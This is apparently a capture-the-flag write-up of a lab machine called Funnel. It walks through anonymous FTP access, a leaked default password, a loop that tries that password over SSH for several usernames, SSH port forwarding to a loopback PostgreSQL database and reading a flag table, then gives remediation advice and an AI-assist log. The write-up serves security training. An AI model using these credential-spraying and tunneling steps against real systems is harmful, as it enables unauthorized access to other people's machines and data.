Box info | OS: Ubuntu 20.04.5 LTS (Linux 5.4.0-135-generic) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: FTP enumeration, SSH login, local port discovery, PostgreSQL, SSH tunneling Pwned: 2026-04-28
TL;DR
Funnel is a Tier 1 box that teaches SSH pivoting through an FTP credential leak. A port scan finds only FTP (21) and SSH (22). Anonymous FTP access reveals a company welcome letter and a password policy PDF. The default password funnel123#!# combined with one of the listed usernames grants SSH access as christine. Inside the system, PostgreSQL is running on 127.0.0.1:5432 (inside a Docker container). It’s not reachable from outside. An SSH local port forward tunnels the database port to the attacker machine. Connecting to PostgreSQL as christine with the default password reveals a secrets database containing the flag. A multi-step chain: FTP → credentials → SSH → port forward → PostgreSQL → flag.
Recon
1. Liveness check
$ ping -c 2 10.129.228.195
64 bytes from 10.129.228.195: icmp_seq=0 ttl=63 time=34.8 ms
64 bytes from 10.129.228.195: icmp_seq=1 ttl=63 time=36.2 ms
TTL=63 → Linux.
2. Full port scan
$ nmap -sV -sC -p- --min-rate 1000 -Pn 10.129.228.195
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Nov 28 2022 mail_backup
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
Two open ports: FTP with anonymous access and SSH.
Foothold — Phase 1: FTP credentials
Anonymous FTP enumeration
$ ftp 10.129.228.195
Name: anonymous
Password: [empty]
ftp> ls
drwxr-xr-x mail_backup/
ftp> cd mail_backup
ftp> ls
-rw-r--r-- password_policy.pdf
-rw-r--r-- welcome_28112022
Two files. Download both:
ftp> get password_policy.pdf
ftp> get welcome_28112022
welcome_28112022 — welcome letter for new employees:
Dear team,
...
New accounts created for the following team members:
- optimus@funnel.htb
- albert@funnel.htb
- andreas@funnel.htb
- christine@funnel.htb
- maria@funnel.htb
...
password_policy.pdf — company password policy:
Default password for all new accounts: funnel123#!#
Users must change their password upon first login.
Combined: five usernames and a default password. If any user hasn’t changed their password, SSH access is possible.
SSH brute-force with default credentials
for user in optimus albert andreas christine maria; do
ssh -o StrictHostKeyChecking=no -o BatchMode=yes \
-o ConnectTimeout=5 \
${user}@10.129.228.195 'echo SUCCESS' 2>/dev/null
done
christine:funnel123#!# → SSH access granted.
$ ssh christine@10.129.228.195
# Password: funnel123#!#
christine@funnel:~$ id
uid=1000(christine) gid=1000(christine) groups=1000(christine)
christine logged in with the default password — she never changed it.
Foothold — Phase 2: Internal service discovery
Local service enumeration
christine@funnel:~$ ss -tlnp
State Recv-Q Send-Q Local Address:Port
LISTEN 0 4096 127.0.0.1:5432 # ← PostgreSQL
LISTEN 0 4096 127.0.0.1:44661 # ← unknown HTTP service
LISTEN 0 128 0.0.0.0:22 # SSH
LISTEN 0 32 0.0.0.0:21 # FTP
Port 5432 is PostgreSQL — but bound to 127.0.0.1 only. Not reachable from outside.
christine@funnel:~$ ps aux | grep post
# PID 1097: postgres (inside Docker container 172.17.0.2:5432)
# docker-proxy proxying host 127.0.0.1:5432 → 172.17.0.2:5432
PostgreSQL is inside a Docker container. docker-proxy bridges container port 5432 to host loopback.
Foothold — Phase 3: SSH tunneling to PostgreSQL
Since PostgreSQL is on 127.0.0.1:5432 (only accessible from the host), use SSH local port forwarding to bring it to the attacker machine:
# From attacker machine:
ssh -L 5432:127.0.0.1:5432 christine@10.129.228.195 -N
Flags:
-L 5432:127.0.0.1:5432— forward local port 5432 to127.0.0.1:5432on the remote host-N— don’t execute a remote command; just forward ports
Now localhost:5432 on the attacker machine connects to PostgreSQL on the target.
Dead end — trying to connect as postgres superuser
psql -h localhost -p 5432 -U postgres -W
# Password: (tried funnel123#!#, postgres, admin, empty)
# → FATAL: password authentication failed for user "postgres"
The postgres OS superuser doesn’t exist in this container — only christine.
Working approach — connect as christine
psql -h localhost -p 5432 -U christine -W
Password: funnel123#!#
Connected. Check privileges:
\du
Role name | Attributes
-----------+------------------------------------------------
christine | Superuser, Create role, Create DB, Replication, Bypass RLS
christine is a PostgreSQL superuser — maximum database privileges.
Database enumeration
\l
| Database | Owner |
|---|---|
| postgres | christine |
| secrets | christine |
| christine | christine |
| template1 | pg_database_owner |
\c secrets
\dt
List of relations:
Schema | Name | Type | Owner
--------+------+-------+----------
public | flag | table | christine
SELECT * FROM flag;
value
----------------------------------
[REDACTED]
Privilege Escalation
N/A — Starting Point Tier 1 objective is the flag in the PostgreSQL secrets.flag table. The SSH session as christine has no sudo access. PostgreSQL COPY TO PROGRAM works but executes inside the Docker container, not on the host. The docker socket (/var/run/docker.sock) exists but christine is not in the docker group. Multiple kernel CVEs were attempted (CVE-2021-3156, CVE-2021-3493, CVE-2021-4034) — all failed on kernel 5.4.0-135 (patched).
What’s actually broken
- Default password not changed on initial login. The welcome email explicitly states users must change their password.
christinedidn’t. Combined with SSH being open, this creates a direct entry point for anyone who reads the FTP files. - Sensitive company documents on anonymous FTP. The welcome letter lists all employee emails. The password policy gives away the default password. These documents — particularly the password policy — should never be on a publicly accessible FTP share.
- PostgreSQL using the same default password. Reuse of
funnel123#!#across SSH and PostgreSQL. Once one service is compromised with the default password, all services using it are compromised. - PostgreSQL superuser for an application user.
christinehas full PostgreSQL superuser rights. Application users should have the minimum necessary database permissions.
Remediation (the boring half)
Remove sensitive files from anonymous FTP:
anonymous_enable=NO
# /etc/vsftpd.conf
Or if anonymous FTP is needed, audit what’s in the shared directory:
find /srv/ftp -type f | xargs ls -la
# Remove all files containing credentials or PII
Enforce password change on first login:
# /etc/ssh/sshd_config
ForceCommand if [ -f /etc/force_password_change ]; then passwd; else $SHELL; fi
# Or use PAM's pam_cracklib with shadow file expiry
chage -d 0 christine # force password change on next login
Restrict PostgreSQL to application roles:
-- Create application-specific role with minimal permissions
CREATE ROLE app_readonly;
GRANT CONNECT ON DATABASE secrets TO app_readonly;
GRANT SELECT ON flag TO app_readonly;
REVOKE ALL ON ALL TABLES IN SCHEMA public FROM christine;
MITRE ATT&CK mapping
| Tactic | Technique | How it shows up here |
|---|---|---|
| Reconnaissance | T1046 — Network Service Discovery | Port scan finds FTP and SSH |
| Initial Access | T1078 — Valid Accounts | Default SSH password from leaked password policy |
| Credential Access | T1552.001 — Credentials In Files | Default password found in password_policy.pdf on FTP |
| Discovery | T1046 — Network Service Discovery | ss -tlnp reveals internal PostgreSQL on loopback |
| Lateral Movement | T1021.004 — SSH | SSH local port forwarding tunnels PostgreSQL to attacker |
| Collection | T1005 — Data from Local System | SELECT * FROM flag retrieves the flag |
Lessons learned
ss -tlnpornetstat -tlnpafter SSH login always. Services bound to127.0.0.1are invisible from outside. They represent an internal attack surface that often has weaker access controls than public-facing services. Find them before the next step.- SSH local port forwarding (
-L) is the cleanest way to reach internal services.ssh -L localport:remotehost:remoteport user@targetis the syntax. This is the standard technique for accessing databases, Redis, Kubernetes API servers, and internal web apps through an SSH pivot. - Default passwords + password reuse = credential chain.
funnel123#!#worked for both SSH and PostgreSQL. One leaked default password compromised two different services. - Anonymous FTP + sensitive documents = external credential leak. The attack chain started with an anonymous FTP download. No exploitation required — just read the files and use the credentials they contain.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| SSH local port forwarding syntax | “What’s the exact ssh -L syntax to forward PostgreSQL to localhost?” | Provided: ssh -L 5432:127.0.0.1:5432 user@target -N. Explained the three-part argument: local-port:remote-host:remote-port. Noted -N prevents shell allocation. | Used directly in the SSH tunneling section. |
| docker-proxy vs direct PostgreSQL | “PostgreSQL shows in ss as 127.0.0.1:5432 — is it in Docker?” | Explained docker-proxy process: when Docker publishes a container port, it runs docker-proxy on the host to forward traffic. Finding docker-proxy in ps confirms the container binding. | Added the docker-proxy explanation to the internal service discovery section. |
| PostgreSQL superuser for app user | “Why does christine have superuser in PostgreSQL?” | Explained: whoever created the Docker container setup likely ran CREATE USER christine SUPERUSER for simplicity. Noted this is poor principle of least privilege. | Used in the “What’s actually broken” section. |
| chage password expiry | “How do I force a Linux user to change their password on next login?” | chage -d 0 username — sets last password change to epoch, requiring change on next login. Also mentioned passwd -e username. | Added both commands to Remediation. |
What Claude got wrong: Nothing significant. What Claude couldn’t do: Actually connect to SSH or PostgreSQL; all commands ran locally. Net assist value: High on SSH tunneling syntax and port forwarding concepts; medium on PostgreSQL administration.
